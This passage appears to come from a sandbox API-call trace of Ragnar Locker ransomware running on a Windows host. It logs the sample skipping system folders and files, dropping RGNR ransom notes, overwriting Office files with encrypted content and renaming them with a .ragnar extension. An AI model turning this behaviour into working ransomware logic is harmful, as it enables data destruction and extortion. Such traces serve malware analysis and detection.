Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.ragnar_FD7BD9FC" [0063.361] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.364] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0063.365] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.365] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2=".") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="..") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Windows") returned -1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Windows.old") returned -1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Tor browser") returned -1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Internet Explorer") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Google") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Opera") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Opera Software") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Mozilla") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="Mozilla Firefox") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="$Recycle.Bin") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="ProgramData") returned 1 [0063.365] lstrcmpiW (lpString1="Project.en-us", lpString2="All Users") returned 1 [0063.365] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0063.365] lstrcpyW (in: lpString1=0x1eab90, lpString2="Project.en-us" | out: lpString1="Project.en-us") returned="Project.en-us" [0063.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" [0063.365] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\" [0063.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RGNR_FD7BD9FC.txt" [0063.365] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0063.371] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*" [0063.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0063.372] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.372] lstrcpyW (in: lpString1=0x1e9cc0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0063.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78032f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.372] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78032f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.372] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0063.372] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0063.372] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".") returned 1 [0063.372] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="..") returned 1 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78032f80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.372] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0063.372] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0063.372] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0063.372] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0063.372] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0063.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78032f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0063.372] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78032f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.373] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0063.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0063.373] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="ProjectMUI.XML" | out: lpString1="ProjectMUI.XML") returned="ProjectMUI.XML" [0063.373] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned=".XML" [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="autorun.inf") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="boot.ini") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootfont.bin") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootsect.bak") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootmgr") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootmgr.efi") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootmgfw.efi") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="desktop.ini") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="iconcache.db") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ntldr") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ntuser.dat") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ntuser.dat.log") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ntuser.ini") returned 1 [0063.373] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="thumbs.db") returned -1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.373] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0063.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0063.374] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1452) returned 1 [0063.374] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.374] GetProcessHeap () returned 0x580000 [0063.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.374] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.375] VirtualAlloc (lpAddress=0x0, dwSize=0x5ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0063.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0063.376] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x5ac, lpOverlapped=0x0) returned 1 [0063.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0063.376] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.376] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x5ac, lpOverlapped=0x0) returned 1 [0063.376] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.376] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0063.376] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.376] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.376] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.377] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0063.377] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0063.377] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.377] GetProcessHeap () returned 0x580000 [0063.377] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0063.377] CloseHandle (hObject=0x104) returned 1 [0063.380] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" [0063.380] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.ragnar_FD7BD9FC" [0063.380] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0063.380] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78032f80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0063.381] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0063.381] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0063.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0063.381] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0063.381] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0063.381] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0063.381] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0063.381] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned=".XML" [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0063.381] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0063.381] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0063.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0063.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0063.382] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1872) returned 1 [0063.382] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x747, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.382] GetProcessHeap () returned 0x580000 [0063.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0063.382] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0063.385] 